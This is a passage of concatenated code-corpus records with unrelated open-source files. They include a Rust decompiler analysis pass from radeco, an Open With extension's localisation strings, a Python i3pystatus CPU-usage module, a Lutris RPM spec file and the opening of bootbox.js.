estimation in analysis function and\n // check it in the reanalysis stage.\n fn mark_preserved(\n &mut self,\n rfn_addr: &u64,\n entry_store: HashMap,\n exit_load: HashMap,\n ) -> Option {\n if self.rmod.functions.get_mut(rfn_addr).is_none() {\n radeco_err!(\"RadecoFunction Not Found!\");\n return None;\n }\n let (preserves, sp_offset) = {\n let mut sp_offset: Option = None;\n let mut preserves: HashSet = HashSet::new();\n for (name, en_offset) in entry_store {\n if let Some(ex_offset) = exit_load.get(&name).cloned() {\n // Same reg name have appeared in entry and exit;\n match sp_offset {\n None => {\n sp_offset = Some(en_offset - ex_offset);\n preserves.insert(name);\n }\n Some(off) if en_offset - ex_offset == off => {\n preserves.insert(name);\n }\n Some(_) => {\n preserves.clear();\n sp_offset = None;\n break;\n }\n }\n }\n }\n (preserves, sp_offset)\n };\n\n radeco_trace!(\"CallFixer|{:?} with {:?}\", preserves, sp_offset);\n\n // Store data into RadecoFunction\n {\n let rfn = self.rmod.functions.get_mut(rfn_addr).unwrap();\n for bind in rfn.bindings_mut().into_iter() {\n if preserves.contains(bind.name()) {\n bind.mark_preserved();\n }\n radeco_trace!(\"CallFixer|Bind: {:?}\", bind);\n }\n }\n\n sp_offset\n }\n\n // Analyze exit block's load for preserved registers\n fn analysis_exit_load(\n &self,\n ssa: &SSAStorage,\n exit_offset: HashMap,\n ) -> HashMap {\n let mut exit_load: HashMap = HashMap::new();\n let mut worklist: VecDeque = VecDeque::new();\n let mut visited: HashSet = HashSet::new();\n\n let reg_state = registers_in_err!(ssa, exit_node_err!(ssa));\n worklist.push_back(reg_state);\n\n while let Some(node) = worklist.pop_front() {\n if !visited.contains(&node) {\n visited.insert(node);\n } else {\n continue;\n }\n radeco_trace!(\"CallFixer|Pop {:?} with {:?}\", node, ssa.node_data(node));\n radeco_trace!(\"CallFixer|Register is {:?}\", ssa.registers(node));\n let args = ssa.operands_of(node);\n for arg in args {\n if ssa.registers(arg).is_empty() {\n continue;\n }\n\n if ssa.is_phi(arg) {\n worklist.push_back(arg);\n continue;\n }\n match ssa.opcode(arg) {\n // OpNarrow and OpWiden are transfromed data\n Some(MOpcode::OpNarrow(_)) | Some(MOpcode::OpZeroExt(_)) => {\n worklist.push_back(arg);\n }\n Some(MOpcode::OpLoad) => {\n let operands = ssa.operands_of(arg);\n if !exit_offset.contains_key(&operands[1]) {\n continue;\n }\n\n let base = exit_offset\n .get(&operands[1])\n .unwrap_or_else(|| {\n radeco_err!(\"Invalid operands: {:?}\", operands[1]);\n &0\n })\n .clone();\n let names = ssa.registers(arg);\n for name in names {\n radeco_trace!(\"CallFixer|Found {:?} with {:?}\", name, base);\n if exit_load.contains_key(&name) {\n continue;\n }\n exit_load.insert(name, base);\n }\n }\n _ => {}\n }\n }\n }\n\n radeco_trace!(\"CallFixer|Exit_load: {:?}\", exit_load);\n exit_load\n }\n\n // Analyze entry blocks' store for preserved registers\n fn analysis_entry_store(\n &self,\n ssa: &SSAStorage,\n entry_offset: HashMap,\n ) -> HashMap {\n let mut entry_store: HashMap = HashMap::new();\n\n let reg_state = registers_in_err!(ssa, entry_node_err!(ssa));\n let nodes = ssa.operands_of(reg_state);\n for node in &nodes {\n if ssa.comment(*node).is_none() {\n continue;\n }\n if ssa.registers(*node).is_empty() {\n continue;\n }\n let reg_names = ssa.registers(*node);\n let users = ssa.uses_of(*node);\n for reg_name in reg_names {\n for user in &users {\n if Some(MOpcode::OpStore) == ssa.opcode(*user) {\n let args = ssa.operands_of(*user);\n if entry_offset.contains_key(&args[1]) {\n let num = entry_offset.get(&args[1]).unwrap_or_else(|| {\n radeco_err!(\"Error entry_offset.get({:?})\", args[1]);\n &0\n });\n entry_store.insert(reg_name.clone(), *num);\n }\n }\n }\n }\n }\n\n radeco_trace!(\"CallFixer|Entry_store is {:?}\", entry_store);\n entry_store\n }\n\n // Get callee's node and its preserved registers\n fn preserves_for_call_context(\n &self,\n callees: Vec<(u64, NodeIndex)>,\n ) -> Vec<(NodeIndex, Vec)> {\n let mut result: Vec<(NodeIndex, Vec)> = Vec::new();\n\n for (callee, node) in callees.into_iter() {\n let mut preserves: Vec = Vec::new();\n if let Some(rfn) = self.rmod.functions.get(&callee) {\n // Callee is man made function\n for bind in rfn.bindings().into_iter() {\n if bind.is_preserved() {\n preserves.push(bind.name().to_string());\n }\n }\n result.push((node, preserves));\n } else {\n // Callee is library function\n let bp_name = vec![self.sp_name.clone().unwrap_or(String::new())];\n result.push((node, bp_name));\n }\n }\n\n result\n }\n\n // Function used to see graph start from node id.\n // If we have a fast graph generation, this could be removed.\n #[allow(dead_code)]\n fn debug(&self, start: usize, mut number: i64, ssa: &SSAStorage) {\n let mut worklist: VecDeque = VecDeque::new();\n let mut visited: HashSet = HashSet::new();\n let id = NodeIndex::new(start);\n worklist.push_back(id);\n println!(\"Initial Id: {:?}\", id);\n println!(\"\\tInitial Data: {:?}\", ssa.node_data(id));\n println!(\"\\tInitial Register: {:?}\", ssa.registers(id));\n while let Some(node) = worklist.pop_front() {\n if !visited.contains(&node) {\n visited.insert(node);\n } else {\n continue;\n }\n number -= 1;\n println!(\"Id: {:?}\", node);\n println!(\"\\tData: {:?}\", ssa.node_data(node));\n println!(\"\\tRegister: {:?}\", ssa.registers(node));\n println!(\"\\tArgs: {:?}\", ssa.operands_of(node));\n println!(\"\\tUses: {:?}\", ssa.uses_of(node));\n\n if number == 0 {\n break;\n }\n\n match ssa.opcode(node) {\n Some(MOpcode::OpConst(_)) => {\n continue;\n }\n _ => {}\n }\n for arg in ssa.operands_of(node) {\n println!(\"\\tArg_Id: {:?}\", arg);\n println!(\"\\t\\tArg_Data: {:?}\", ssa.node_data(arg));\n println!(\"\\t\\tArg_Register: {:?}\", ssa.registers(arg));\n println!(\"\\t\\tArg_Args: {:?}\", ssa.operands_of(arg));\n println!(\"\\t\\tArg_Uses: {:?}\", ssa.uses_of(arg));\n worklist.push_back(arg);\n }\n for user in ssa.uses_of(node) {\n println!(\"\\tUse_Id: {:?}\", user);\n println!(\"\\t\\tUse_Data: {:?}\", ssa.node_data(user));\n println!(\"\\t\\tUse_Register: {:?}\", ssa.registers(user));\n println!(\"\\t\\tUse_Args: {:?}\", ssa.operands_of(user));\n println!(\"\\t\\tUse_Uses: {:?}\", ssa.uses_of(user));\n worklist.push_back(user);\n }\n }\n println!(\"Number: {}\", number);\n }\n}\n\n#[cfg(test)]\nmod test {\n use super::*;\n use crate::frontend::radeco_containers::RadecoModule;\n\n #[test]\n #[ignore]\n fn analysis_test() {\n let mut rmod = RadecoModule::new(\"./test_files/ct1_sccp_ex/ct1_sccp_ex\".to_string());\n let functions = rmod.functions.clone();\n let matched_func_vec: Vec = functions\n .iter()\n .map(|(fn_addr, _)| fn_addr.clone())\n .collect();\n\n // Analyze preserved for all functions.\n {\n let mut callfixer = CallFixer::new(&mut rmod, None, None);\n for func in &matched_func_vec {\n callfixer.analysis(&func);\n }\n }\n }\n\n #[test]\n #[ignore]\n fn fix_test() {\n let mut rmod = RadecoModule::new(\"./test_files/ct1_sccp_ex/ct1_sccp_ex\".to_string());\n let functions = rmod.functions.clone();\n let matched_func_vec: Vec = functions\n .iter()\n .map(|(fn_addr, _)| fn_addr.clone())\n .collect();\n\n // Analyze preserved for all functions.\n {\n let mut callfixer = CallFixer::new(&mut rmod, None, None);\n for func in &matched_func_vec {\n callfixer.analysis(&func);\n }\n for func in &matched_func_vec {\n callfixer.fix(&func);\n }\n }\n }\n\n #[test]\n #[ignore]\n fn reanalysis_test() {\n let mut rmod = RadecoModule::new(\"./test_files/ct1_sccp_ex/ct1_sccp_ex\".to_string());\n let functions = rmod.functions.clone();\n let matched_func_vec: Vec = functions\n .iter()\n .map(|(fn_addr, _)| fn_addr.clone())\n .collect();\n\n // Analyze preserved for all functions.\n {\n let mut callfixer = CallFixer::new(&mut rmod, None, None);\n for func in &matched_func_vec {\n callfixer.analysis(&func);\n }\n for func in &matched_func_vec {\n callfixer.fix(&func);\n }\n for func in &matched_func_vec {\n callfixer.reanalysis(&func);\n }\n }\n }\n\n #[test]\n #[ignore]\n fn rounded_analysis_test() {\n let mut rmod = RadecoModule::new(\"./test_files/ct1_sccp_ex/ct1_sccp_ex\".to_string());\n\n // Analyze preserved for all functions.\n {\n let mut callfixer = CallFixer::new(&mut rmod, None, None);\n callfixer.rounded_analysis();\n }\n }\n\n #[test]\n #[ignore]\n fn bin_file_rounded_analysis_test() {\n let mut rmod = RadecoModule::new(\"./test_files/ct1_sccp_ex/ct1_sccp_ex\".to_string());\n {\n let mut callfixer = CallFixer::new(&mut rmod, None, None);\n callfixer.rounded_analysis();\n }\n }\n}\n"} +{"text": "

Performance Summary

\n<%= summary_pie_chart(@sample, 800, 300) %>\n<%= render :partial => 'table', :object => @sample.breakdown_data(6) %>\n"} +{"text": "{\n\t\"actions_addbrowser\": {\n\t\t\"message\": \"Add browser\"\n\t},\n\t\"actions_look\": {\n\t\t\"message\": \"Look for browsers\"\n\t},\n\t\"actions_sort\": {\n\t\t\"message\": \"Sort list\"\n\t},\n\t\"browserList_duplicate_button\": {\n\t\t\"message\": \"Duplicate\"\n\t},\n\t\"browserList_duplicate_newName\": {\n\t\t\"message\": \"$ORIGINAL$ (copy)\",\n\t\t\"placeholders\": {\n\t\t\t\"original\": {\n\t\t\t\t\"content\": \"$1\",\n\t\t\t\t\"example\": \"Firefox\"\n\t\t\t}\n\t\t}\n\t},\n\t\"browserList_edit_button\": {\n\t\t\"message\": \"Edit\"\n\t},\n\t\"browserList_hide_button\": {\n\t\t\"message\": \"Hide\"\n\t},\n\t\"browserList_remove_button\": {\n\t\t\"message\": \"Remove\"\n\t},\n\t\"browserList_show_button\": {\n\t\t\"message\": \"Show\"\n\t},\n\t\"details_add_button\": {\n\t\t\"message\": \"Add\"\n\t},\n\t\"details_adding_header\": {\n\t\t\"message\": \"Add browser\"\n\t},\n\t\"details_cancel_button\": {\n\t\t\"message\": \"Cancel\"\n\t},\n\t\"details_command_label\": {\n\t\t\"message\": \"Command:\"\n\t},\n\t\"details_customIcons_button\": {\n\t\t\"message\": \"Custom icons…\"\n\t},\n\t\"details_desktopFile_label\": {\n\t\t\"message\": \"Read from .desktop file:\"\n\t},\n\t\"details_editing_header\": {\n\t\t\"message\": \"Edit browser\"\n\t},\n\t\"details_icon_label\": {\n\t\t\"message\": \"Icon:\"\n\t},\n\t\"details_iconsCredit\": {\n\t\t\"message\": \"Browser Logos on Github\"\n\t},\n\t\"details_name_label\": {\n\t\t\"message\": \"Name:\"\n\t},\n\t\"details_shortcut_label\": {\n\t\t\"message\": \"Shortcut Key:\"\n\t},\n\t\"details_update_button\": {\n\t\t\"message\": \"Update\"\n\t},\n\t\"donate_button\": {\n\t\t\"message\": \"Donate…\"\n\t},\n\t\"donate_message\": {\n\t\t\"message\": \"Open With is funded by user donations.\"\n\t},\n\t\"extensionDescription\": {\n\t\t\"message\": \"Quickly test out your web pages in Chrome, Edge, Safari, or Opera.\"\n\t},\n\t\"extensionDescription_chrome\": {\n\t\t\"message\": \"Quickly test out your web pages in Edge, Firefox, Safari, or Opera.\"\n\t},\n\t\"extensionDescription_opera\": {\n\t\t\"message\": \"Quickly test out your web pages in Chrome, Edge, Firefox, or Safari.\"\n\t},\n\t\"extensionLongDescription\": {\n\t\t\"message\": \"Quickly test out your web pages in Chrome, Edge, Safari, or Opera. Open With opens the current page in your other browsers with just two clicks.\"\n\t},\n\t\"extensionName\": {\n\t\t\"description\": \"Please include this string, even if you keep the English version.\",\n\t\t\"message\": \"Open With\"\n\t},\n\t\"icon_brave\": {\n\t\t\"message\": \"Brave\"\n\t},\n\t\"icon_chrome\": {\n\t\t\"message\": \"Chrome\"\n\t},\n\t\"icon_chrome_beta\": {\n\t\t\"message\": \"Chrome Beta\"\n\t},\n\t\"icon_chrome_dev\": {\n\t\t\"message\": \"Chrome Dev\"\n\t},\n\t\"icon_chrome_canary\": {\n\t\t\"message\": \"Chrome Canary\"\n\t},\n\t\"icon_chromium\": {\n\t\t\"message\": \"Chromium\"\n\t},\n\t\"icon_edge_12_18\": {\n\t\t\"message\": \"Edge 12-18\"\n\t},\n\t\"icon_edge\": {\n\t\t\"message\": \"Edge\"\n\t},\n\t\"icon_edge_beta\": {\n\t\t\"message\": \"Edge Beta\"\n\t},\n\t\"icon_edge_canary\": {\n\t\t\"message\": \"Edge Canary\"\n\t},\n\t\"icon_edge_dev\": {\n\t\t\"message\": \"Edge Dev\"\n\t},\n\t\"icon_firefox_1_5_3\": {\n\t\t\"message\": \"Firefox 1.5-3\"\n\t},\n\t\"icon_firefox_3_5_22\": {\n\t\t\"message\": \"Firefox 3.5-22\"\n\t},\n\t\"icon_firefox_23_56\": {\n\t\t\"message\": \"Firefox 23-56\"\n\t},\n\t\"icon_firefox_57_70\": {\n\t\t\"message\": \"Firefox 57-70\"\n\t},\n\t\"icon_firefox\": {\n\t\t\"message\": \"Firefox\"\n\t},\n\t\"icon_firefox_beta\": {\n\t\t\"message\": \"Firefox Beta\"\n\t},\n\t\"icon_firefox_developer_edition\": {\n\t\t\"message\": \"Firefox Developer Edition\"\n\t},\n\t\"icon_firefox_nightly\": {\n\t\t\"message\": \"Firefox Nightly\"\n\t},\n\t\"icon_internet_explorer_6\": {\n\t\t\"message\": \"Internet Explorer 6\"\n\t},\n\t\"icon_internet_explorer_7_8\": {\n\t\t\"message\": \"Internet Explorer 7-8\"\n\t},\n\t\"icon_internet_explorer_9_11\": {\n\t\t\"message\": \"Internet Explorer 9-11\"\n\t},\n\t\"icon_opera\": {\n\t\t\"message\": \"Opera\"\n\t},\n\t\"icon_opera_beta\": {\n\t\t\"message\": \"Opera Beta\"\n\t},\n\t\"icon_opera_developer\": {\n\t\t\"message\": \"Opera Developer\"\n\t},\n\t\"icon_pale_moon\": {\n\t\t\"message\": \"Pale Moon\"\n\t},\n\t\"icon_safari\": {\n\t\t\"message\": \"Safari\"\n\t},\n\t\"icon_seamonkey\": {\n\t\t\"message\": \"Seamonkey\"\n\t},\n\t\"icon_srware_iron\": {\n\t\t\"message\": \"SRWare Iron\"\n\t},\n\t\"icon_vivaldi\": {\n\t\t\"message\": \"Vivaldi\"\n\t},\n\t\"icon_waterfox\": {\n\t\t\"message\": \"Waterfox\"\n\t},\n\t\"icon_yandex\": {\n\t\t\"message\": \"Yandex Browser\"\n\t},\n\t\"install_header\": {\n\t\t\"message\": \"To complete installation:\"\n\t},\n\t\"install_introduction\": {\n\t\t\"message\": \"Open With needs a file outside of the browser to communicate with.\"\n\t},\n\t\"install_step1a\": {\n\t\t\"message\": \"You'll need to have Python installed for this to work.\"\n\t},\n\t\"install_step1b_link\": {\n\t\t\"message\": \"Fetch it from here.\"\n\t},\n\t\"install_step1c\": {\n\t\t\"message\": \"(Use Python version 2.7 or 3.x, it doesn't matter.)\"\n\t},\n\t\"install_step2a_link\": {\n\t\t\"message\": \"Click here to download\"\n\t},\n\t\"install_step2b\": {\n\t\t\"message\": \"and save the file to your computer.\"\n\t},\n\t\"install_step3a\": {\n\t\t\"message\": \"Open Terminal.\"\n\t},\n\t\"install_step3b\": {\n\t\t\"message\": \"Ensure the file permissions allow you to run it (\\\"x\\\" permission):\"\n\t},\n\t\"install_step4a\": {\n\t\t\"message\": \"Open a command prompt.\"\n\t},\n\t\"install_step4b\": {\n\t\t\"message\": \"Run the file with the argument \\\"install\\\", like this:\"\n\t},\n\t\"install_step4c\": {\n\t\t\"message\": \"If you move the file, you must run this step again.\"\n\t},\n\t\"links_chrome\": {\n\t\t\"message\": \"Open With for Chrome\"\n\t},\n\t\"links_firefox\": {\n\t\t\"message\": \"Open With for Firefox\"\n\t},\n\t\"links_github\": {\n\t\t\"message\": \"Open With on GitHub\"\n\t},\n\t\"links_opera\": {\n\t\t\"message\": \"Open With for Opera\"\n\t},\n\t\"menu_contexts_label\": {\n\t\t\"message\": \"Show in context menus of:\"\n\t},\n\t\"menu_contexts_image\": {\n\t\t\"message\": \"images, videos, and audio\"\n\t},\n\t\"menu_contexts_link\": {\n\t\t\"message\": \"links\"\n\t},\n\t\"menu_contexts_page\": {\n\t\t\"message\": \"pages\"\n\t},\n\t\"menu_contexts_tab\": {\n\t\t\"message\": \"tabs\"\n\t},\n\t\"options_title\": {\n\t\t\"message\": \"Open With Options\"\n\t},\n\t\"popup_installed_header2\": {\n\t\t\"message\": \"Open With is almost ready\"\n\t},\n\t\"popup_installed_text\": {\n\t\t\"message\": \"There's a few more steps to complete installation.\"\n\t},\n\t\"popup_nobrowsers\": {\n\t\t\"message\": \"No browsers found!\"\n\t},\n\t\"popup_options_button\": {\n\t\t\"message\": \"Open With options…\"\n\t},\n\t\"shortcut_open1\": {\n\t\t\"message\": \"Browser shortcut #1\"\n\t},\n\t\"shortcut_open2\": {\n\t\t\"message\": \"Browser shortcut #2\"\n\t},\n\t\"shortcut_open3\": {\n\t\t\"message\": \"Browser shortcut #3\"\n\t},\n\t\"test_button\": {\n\t\t\"message\": \"Test Installation\"\n\t},\n\t\"test_error\": {\n\t\t\"message\": \"Something went wrong. There might be more information in the Browser Console.\"\n\t},\n\t\"test_success\": {\n\t\t\"message\": \"Found version $VERSION$ at $LOCATION$.\",\n\t\t\"placeholders\": {\n\t\t\t\"location\": {\n\t\t\t\t\"content\": \"$2\",\n\t\t\t\t\"example\": \"/home/geoff/Desktop/open_with_linux.py\"\n\t\t\t},\n\t\t\t\"version\": {\n\t\t\t\t\"content\": \"$1\",\n\t\t\t\t\"example\": \"7.0\"\n\t\t\t}\n\t\t}\n\t},\n\t\"test_warning\": {\n\t\t\"message\": \"A newer version is available and you should replace it.\"\n\t},\n\t\"update_changelog_button\": {\n\t\t\"message\": \"What Changed?\"\n\t},\n\t\"update_error\": {\n\t\t\"message\": \"Open With could not connect to the outside world.\"\n\t},\n\t\"update_message\": {\n\t\t\"message\": \"Open With was just updated to version $VERSION$. Open With is free, but your donation is appreciated!\",\n\t\t\"placeholders\": {\n\t\t\t\"version\": {\n\t\t\t\t\"content\": \"$1\",\n\t\t\t\t\"example\": \"7.0\"\n\t\t\t}\n\t\t}\n\t},\n\t\"update_warning\": {\n\t\t\"message\": \"You should update your Open With file.\"\n\t},\n\t\"userIcons_done_button\": {\n\t\t\"message\": \"Done\"\n\t},\n\t\"userIcons_header\": {\n\t\t\"message\": \"Custom icons\"\n\t},\n\t\"userIcons_remove_button\": {\n\t\t\"message\": \"Remove\"\n\t},\n\t\"webextension_info_label\": {\n\t\t\"message\": \"More information…\"\n\t},\n\t\"webextension_info_url\": {\n\t\t\"description\": \"This is a web page with information for users. Please contact me if you'd like to translate it too.\",\n\t\t\"message\": \"https://darktrojan.github.io/openwith/webextension.html\"\n\t}\n}\n"} +{"text": "// This file is part of the Kreta package.\n//\n// (c) Beñat Espiña \n// (c) Gorka Laucirica \n//\n// For the full copyright and license information, please view the LICENSE\n// file that was distributed with this source code.\n\n@import '../../../variables/colors';\n\n.task-show {\n position: relative;\n}\n\n.task-show__title {\n background: $light-grey;\n color: $main-black;\n font-size: 1.8em;\n font-weight: lighter;\n line-height: 1.3em;\n margin: 0;\n padding: 0;\n}\n\n.task-show__transitions {\n margin-top: 30px;\n\n .button {\n margin-right: 10px;\n }\n}\n\n.task-show__description {\n background: $light-grey;\n color: $main-black;\n font-size: 16px;\n font-weight: lighter;\n line-height: 1.3em;\n margin-bottom: 0;\n margin-top: 30px;\n max-height: 200px;\n overflow: hidden;\n}\n\n.task-show__fields {\n margin-top: 30px;\n}\n\n.task-show__actions {\n display: flex;\n\n .button {\n margin-right: 15px;\n }\n}\n"} +{"text": "\n * @copyright 2017 Akeneo SAS (http://www.akeneo.com)\n * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)\n */\nclass ProductModelWriter extends AbstractItemMediaWriter implements\n ItemWriterInterface,\n InitializableInterface,\n FlushableInterface,\n StepExecutionAwareInterface,\n ArchivableWriterInterface\n{\n /**\n * {@inheritdoc}\n */\n protected function getWriterConfiguration()\n {\n return ['type' => 'xlsx'];\n }\n\n /**\n * {@inheritdoc}\n */\n protected function getItemIdentifier(array $productModel)\n {\n return $productModel['code'];\n }\n}\n"} +{"text": "from collections import defaultdict\nfrom string import Formatter\nimport re\n\nfrom i3pystatus import IntervalModule\nfrom i3pystatus.core.color import ColorRangeModule\n\ntry:\n from natsort import natsorted as sorted\nexcept ImportError:\n pass\n\n\nclass CpuUsage(IntervalModule, ColorRangeModule):\n \"\"\"\n Shows CPU usage.\n The first output will be inacurate.\n\n Linux only\n Requires the PyPI package 'colour'.\n\n .. rubric:: Available formatters\n\n * `{usage}` — usage average of all cores\n * `{usage_cpu*}` — usage of one specific core. replace \"*\" by core number starting at 0\n * `{usage_all}` — usage of all cores separate. usess natsort when available(relevant for more than 10 cores)\n\n \"\"\"\n\n format = \"{usage:02}%\"\n format_all = \"{core}:{usage:02}%\"\n exclude_average = False\n interval = 1\n color = '#FFFFFF'\n dynamic_color = False\n upper_limit = 100\n settings = (\n (\"format\", \"format string.\"),\n (\"format_all\", (\"format string used for {usage_all} per core. \"\n \"Available formaters are {core} and {usage}. \")),\n (\"exclude_average\", (\"If True usage average of all cores will \"\n \"not be in format_all.\")),\n (\"color\", \"HTML color code #RRGGBB\"),\n (\"dynamic_color\", \"Set color dynamically based on CPU usage. Note: this overrides color_up\"),\n (\"start_color\", \"Hex or English name for start of color range, eg '#00FF00' or 'green'\"),\n (\"end_color\", \"Hex or English name for end of color range, eg '#FF0000' or 'red'\")\n )\n\n def init(self):\n self.prev_total = defaultdict(int)\n self.prev_busy = defaultdict(int)\n self.formatter = Formatter()\n\n self.key = re.findall(r'usage_cpu\\d+', self.format)\n if len(self.key) == 1:\n self.key = self.key[0]\n else:\n self.key = 'usage_cpu'\n\n if not self.dynamic_color:\n self.start_color = self.color\n self.end_color = self.color\n self.colors = self.get_hex_color_range(self.start_color, self.end_color, int(self.upper_limit))\n\n def get_cpu_timings(self):\n \"\"\"\n reads and parses /proc/stat\n returns dictionary with all available cores including global average\n \"\"\"\n timings = {}\n with open('/proc/stat', 'r') as file_obj:\n for line in file_obj:\n if 'cpu' in line:\n line = line.strip().split()\n timings[line[0]] = [int(x) for x in line[1:]]\n\n return timings\n\n def calculate_usage(self, cpu, total, busy):\n \"\"\"\n calculates usage\n \"\"\"\n diff_total = total - self.prev_total[cpu]\n diff_busy = busy - self.prev_busy[cpu]\n\n self.prev_total[cpu] = total\n self.prev_busy[cpu] = busy\n\n if diff_total == 0:\n return 0\n else:\n return int(diff_busy / diff_total * 100)\n\n def gen_format_all(self, usage):\n \"\"\"\n generates string for format all\n \"\"\"\n format_string = \" \"\n core_strings = []\n for core, usage in usage.items():\n if core == 'usage_cpu' and self.exclude_average:\n continue\n elif core == 'usage':\n continue\n\n core = core.replace('usage_', '')\n string = self.formatter.format(self.format_all,\n core=core,\n usage=usage)\n core_strings.append(string)\n\n core_strings = sorted(core_strings)\n\n return format_string.join(core_strings)\n\n def get_usage(self):\n \"\"\"\n parses /proc/stat and calcualtes total and busy time\n (more specific USER_HZ see man 5 proc for further informations )\n \"\"\"\n usage = {}\n\n for cpu, timings in self.get_cpu_timings().items():\n cpu_total = sum(timings)\n del timings[3:5]\n cpu_busy = sum(timings)\n cpu_usage = self.calculate_usage(cpu, cpu_total, cpu_busy)\n\n usage['usage_' + cpu] = cpu_usage\n\n # for backward compatibility\n usage['usage'] = usage['usage_cpu']\n\n return usage\n\n def run(self):\n usage = self.get_usage()\n usage['usage_all'] = self.gen_format_all(usage)\n\n color = self.get_gradient(usage[self.key], self.colors, int(self.upper_limit))\n\n self.data = usage\n self.output = {\n \"full_text\": self.format.format_map(usage),\n \"color\": color\n }\n"} +{"text": "#alecaddd-testimonial-form .field-container{position:relative;margin-bottom:20px}#alecaddd-testimonial-form .field-msg{display:none;position:absolute;left:2px;bottom:-14px;font-size:9px;text-transform:uppercase;font-weight:600;letter-spacing:0.05em}#alecaddd-testimonial-form .field-msg.show{display:block}#alecaddd-testimonial-form .error{color:#901313}#alecaddd-testimonial-form .success{color:#2f812f}\n\n/*# sourceMappingURL=form.css.map */\n"} +{"text": "%{!?__python3: %global __python3 /usr/bin/python3}\n%{!?python3_sitelib: %global python3_sitelib %(%{__python3} -c \"from distutils.sysconfig import get_python_lib; print(get_python_lib())\")}\n%{!?py3_build: %global py3_build CFLAGS=\"%{optflags}\" %{__python3} setup.py build}\n%{!?py3_install: %global py3_install %{__python3} setup.py install --skip-build --root %{buildroot}}\n\n%global appid net.lutris.Lutris\n\nName: lutris\nVersion: 0.5.7.1\nRelease: 7%{?dist}\nSummary: Install and play any video game easily\n\nLicense: GPL-3.0+\nGroup: Amusements/Games/Other\nURL: http://lutris.net\nSource0: http://lutris.net/releases/lutris_%{version}.tar.xz\n\nBuildArch: noarch\n\n# Common build dependencies\nBuildRequires: desktop-file-utils\nBuildRequires: python3-devel\n\n%if 0%{?fedora}\nBuildRequires: python3-gobject, python3-wheel, python3-setuptools\nRequires: python3-gobject, python3-PyYAML, cabextract\nRequires: gtk3, psmisc, xorg-x11-server-Xephyr, xorg-x11-server-utils\nRequires: python3-requests\nRequires: gnome-desktop3\nRecommends: wine-core\n%endif\n\n%if 0%{?rhel} || 0%{?centos}\nBuildRequires: python3-gobject\nRequires: python3-gobject, python3-PyYAML, cabextract\n%endif\n\n%if 0%{?suse_version}\nBuildRequires: python3-gobject, python3-setuptools, typelib-1_0-Gtk-3_0\nBuildRequires: update-desktop-files\n# Needed to workaround \"directories not owned by a package\" issue\nBuildRequires: hicolor-icon-theme\nBuildRequires: python3-setuptools\nRequires: (python3-gobject-Gdk or python3-gobject)\nRequires: python3-PyYAML, cabextract, typelib-1_0-Gtk-3_0\nRequires: typelib-1_0-GnomeDesktop-3_0, typelib-1_0-WebKit2-4_0, typelib-1_0-Notify-0_7\nRequires: fluid-soundfont-gm, python3-Pillow, python3-requests\n%endif\n\n%if 0%{?fedora} || 0%{?suse_version}\nBuildRequires: fdupes\n\n%ifarch x86_64\nRequires: mesa-vulkan-drivers(x86-32)\nRequires: vulkan-loader(x86-32)\n%endif\n\nRequires: mesa-vulkan-drivers\nRequires: vulkan-loader\nRecommends: wine-core\nBuildRequires: fdupes\n%endif\n\n%if 0%{?fedora}\n%ifarch x86_64\nRequires: mesa-libGL(x86-32)\nRequires: mesa-libGL\n%endif\n%endif\n\n\n%description\nLutris is a gaming platform for GNU/Linux. Its goal is to make\ngaming on Linux as easy as possible by taking care of installing\nand setting up the game for the user. The only thing you have to\ndo is play the game. It aims to support every game that is playable\non Linux.\n\n%prep\n%setup -q -n %{name}\n\n\n%build\n%py3_build\n\n\n%install\n%py3_install\n%if 0%{?fedora} || 0%{?suse_version}\n%fdupes %{buildroot}%{python3_sitelib}\n%endif\n\n#desktop icon\n%if 0%{?suse_version}\n%suse_update_desktop_file -r -i %{appid} Network FileTransfer\n%endif\n\n%if 0%{?fedora} || 0%{?rhel} || 0%{?centos}\ndesktop-file-install --dir=%{buildroot}%{_datadir}/applications share/applications/%{appid}.desktop\ndesktop-file-validate %{buildroot}%{_datadir}/applications/%{appid}.desktop\n%endif\n\n%if 0%{?suse_version} >= 1140\n%post\n%icon_theme_cache_post\n%desktop_database_post\n%endif\n\n\n%if 0%{?suse_version} >= 1140\n%postun\n%icon_theme_cache_postun\n%desktop_database_postun\n%endif\n\n%files\n%{_bindir}/%{name}\n%{_mandir}/%{name}.1\n%{_datadir}/%{name}/\n%{_datadir}/metainfo/%{appid}.metainfo.xml\n%{_datadir}/applications/%{appid}.desktop\n%{_datadir}/icons/hicolor/16x16/apps/lutris.png\n%{_datadir}/icons/hicolor/22x22/apps/lutris.png\n%{_datadir}/icons/hicolor/24x24/apps/lutris.png\n%{_datadir}/icons/hicolor/32x32/apps/lutris.png\n%{_datadir}/icons/hicolor/48x48/apps/lutris.png\n%{_datadir}/icons/hicolor/64x64/apps/lutris.png\n%{_datadir}/icons/hicolor/128x128/apps/lutris.png\n%{_datadir}/icons/hicolor/scalable/apps/lutris.svg\n%{python3_sitelib}/%{name}-*.egg-info\n%{python3_sitelib}/%{name}/\n\n%changelog\n* Wed Feb 06 2019 Andrew Schott - 0.5.0.1-3\n- Moved fedora dependency of \"gnome-desktop3\" to recommends to resolve a snafu with the way it was packaged.\n- Fixed the .desktop file registration (was using %{name}, needed %{appid})\n\n* Tue Nov 29 2016 Mathieu Comandon - 0.4.3\n- Ensure correct Python3 dependencies\n- Set up Python macros for building (Thanks to Pharaoh_Atem on #opensuse-buildservice)\n\n* Sat Oct 15 2016 Mathieu Comandon - 0.4.0\n- Update to Python 3\n- Bump version to 0.4.0\n\n* Sat Dec 12 2015 Rémi Verschelde - 0.3.7-2\n- Remove ownership of system directories\n- Spec file cleanup\n\n* Fri Nov 27 2015 Mathieu Comandon - 0.3.7-1\n- Bump to version 0.3.7\n\n* Thu Oct 30 2014 Mathieu Comandon - 0.3.6-1\n- Bump to version 0.3.6\n- Add OpenSuse compatibility (contribution by @malkavi)\n\n* Fri Sep 12 2014 Mathieu Comandon - 0.3.5-1\n- Bump version to 0.3.5\n\n* Thu Aug 14 2014 Travis Nickles - 0.3.4-3\n- Edited Requires to include pygobject3.\n\n* Wed Jun 04 2014 Travis Nickles - 0.3.4-2\n- Changed build and install step based on template generated by\n rpmdev-newspec.\n- Added Requires.\n- Ensure package can be built using mock.\n\n* Tue Jun 03 2014 Travis Nickles - 0.3.4-1\n- Initial version of the package\n"} +{"text": "/**\n * bootbox.js [v4.2.0]\n *\n * http://bootboxjs.com/license.txt\n */\n\n// @see https://github.com/makeusabrew/bootbox/issues/180\n// @see https://github.com/makeusabrew/bootbox/issues/186\n(function (root, factory) {\n\n \"use strict\";\n if (typeof define === \"function\" && define.amd) {\n // 